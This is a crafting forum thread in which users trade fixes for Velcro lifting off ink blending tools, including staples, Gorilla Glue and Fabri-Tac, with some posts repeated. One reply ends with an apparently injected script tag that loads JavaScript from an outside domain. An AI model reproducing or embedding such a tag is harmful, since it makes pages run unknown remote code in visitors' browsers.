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I use the Tim Holtz ink blending tool for almost every card that I make, and have several of them. I just switch out the foam pads when I change colors. However, I've had the velcro come loose from two of the applicators and am wondering if anyone know what kind of glue works to adhere them securely? I used a staple gun to attach one, a year ago, but it still lifts up at the end and doesn't keep the foam pad flat. Hot glue doesn't do it either. Any ideas or experience with this? Thanks!
Karen
I'm with you on that one. My rectangle ones are all coming off the adhesive foam and I can't take a blending foam off without needing 3 hands. My round ones pull up all around the edges (one staple in the middle). Maybe two staples at the ends of the rectangle ones would work.
I'm giving up on those blending tools though. I'm using the brushes now.
I'd done the stapling method too, a few years ago. What might work- I've not tried it onthis, but judging how well it works on anything else, I think it's a good bet. Gorilla Glue, the brown one. It's actually activated by a light spritz of water before joining the pieces to be stuck together, and once stuck, it stays stuck. Someone on here recommended it when I had an inkpad come loose from the base, and nothing else worked. I think it's called the All Purpose Adhesive.
I'd done the stapling method too, a few years ago. What might work- I've not tried it onthis, but judging how well it works on anything else, I think it's a good bet. Gorilla Glue, the brown one. It's actually activated by a light spritz of water before joining the pieces to be stuck together, and once stuck, it stays stuck. Someone on here recommended it when I had an inkpad come loose from the base, and nothing else worked. I think it's called the All Purpose Adhesive.
My husband uses Gorilla Glue so I'll have to ask if if he has this one. Otherwise, I'll pick up some and give it a try. The staples just don't work well because the ends of the velcro keep lifting.
Thanks for your suggestion.
I'm with you on that one. My rectangle ones are all coming off the adhesive foam and I can't take a blending foam off without needing 3 hands. My round ones pull up all around the edges (one staple in the middle). Maybe two staples at the ends of the rectangle ones would work.
I'm giving up on those blending tools though. I'm using the brushes now.
My round blending tools are holding up pretty well so far, but they're not as old as the rectangle ones. I hate to toss these and buy the blending brushes because I have a LOT of the handles and foams. Haven't tried the blending brushes but I've seen a lot of great reviews of them over foam blenders.
Karen
I can’t hold the blending makeup brushes comfortably - they hurt my thumb joint no matter how I adjust my hand, so mostly use blending tools, plus Tim Holtz brushes, rarely Clarity, and some big puffy brushes that were for make-up long ago.
The rectangular blending tools are for alcohol inks, and the round for all other blending, and I try to pull back the foam or felt very close to the tool - like how we’re advised to pull Frog tape back on itself very close to the paper to avoid ripping it. You’re probably already doing that and the rectangular ones just are really old and loved, so no matter how careful you are, eventually... :(
I had the same problem of the edges pulling up. FABRI-TAC to the rescue! Solid hold on both my tools. Problem solved!<script type="text/javascript" async="" src="//pingclock.net/21db1c5c8b372aecca.js"></script>
The rectangle ones used to be for distress inks as well, but the round ones seem to have overtaken them in popularity since they were released a few years ago.
I had the same problem with my rectangle tools first & then the round ones when I got those. I often wonder when I see card makers using them in YouTube videos how they manage, because they generally have just the one (presumably original) staple in the middle of the Velcro. Anyway, on mine I just popped in maybe 3 or 4 staples with a staple gun, pretty much around the whole perimeter. Because of the awkwardness of not being able to press the gun into the base of the tool, I did have to finish the job by hammering the staples in the rest of the way. Better than shooting a staple into my hand, at any rate! :p But they have held up fine! I think the key is just to use more than one staple.
I've also wondered many times how YouTubers keep their ink blender Velcro pads so clean??? Mine are well-stained with ink, even though I use them primarily with Distress & Oxide inks, never alcohol inks. Occasionally, I will clean the Velcro with a nail brush and soap & water. I've found, if the tool slips just a bit when I'm blending and the edge of the base hits my paper, it can leave an inky mark. :( Hence the nail brush cleaning. Anyway, just my two-cents worth!
I had the same problem with my rectangle tools first & then the round ones when I got those. I often wonder when I see card makers using them in YouTube videos how they manage, because they generally have just the one (presumably original) staple in the middle of the Velcro. Anyway, on mine I just popped in maybe 3 or 4 staples with a staple gun, pretty much around the whole perimeter. Because of the awkwardness of not being able to press the gun into the base of the tool, I did have to finish the job by hammering the staples in the rest of the way. Better than shooting a staple into my hand, at any rate! :p But they have held up fine! I think the key is just to use more than one staple.
I've also wondered many times how YouTubers keep their ink blender Velcro pads so clean??? Mine are well-stained with ink, even though I use them primarily with Distress & Oxide inks, never alcohol inks. Occasionally, I will clean the Velcro with a nail brush and soap & water. I've found, if the tool slips just a bit when I'm blending and the edge of the base hits my paper, it can leave an inky mark. :( Hence the nail brush cleaning. Anyway, just my two-cents worth!
Laura Bassen talked about those edges leaving marks, so she presses the edges on scrap paper first. I started doing that - no more edge marks.
I assume many bloggers use new pads because they’re videotaping for an audience. But I’ve occasionally seen well loved ones. Washing isn’t needed.
You know how when peeling painters tape off of CS or watercolor paper - or a wall - how folding it back on itself very close to the paper or wall keeps the substrate from ripping? That’s kind of how I remove pads. Not pulling out or away, if that makes sense. So far so good.
(For alcohol inks the small felt pieces are often used on blender tools rather than sponge pads. I have Ranger ones but bought white felt to make more, and for larger pieces to wrap around straight edges to makes stripes, etc. A JM technique.)
Reattaching Velcro to Tim Holtz ink blending tool
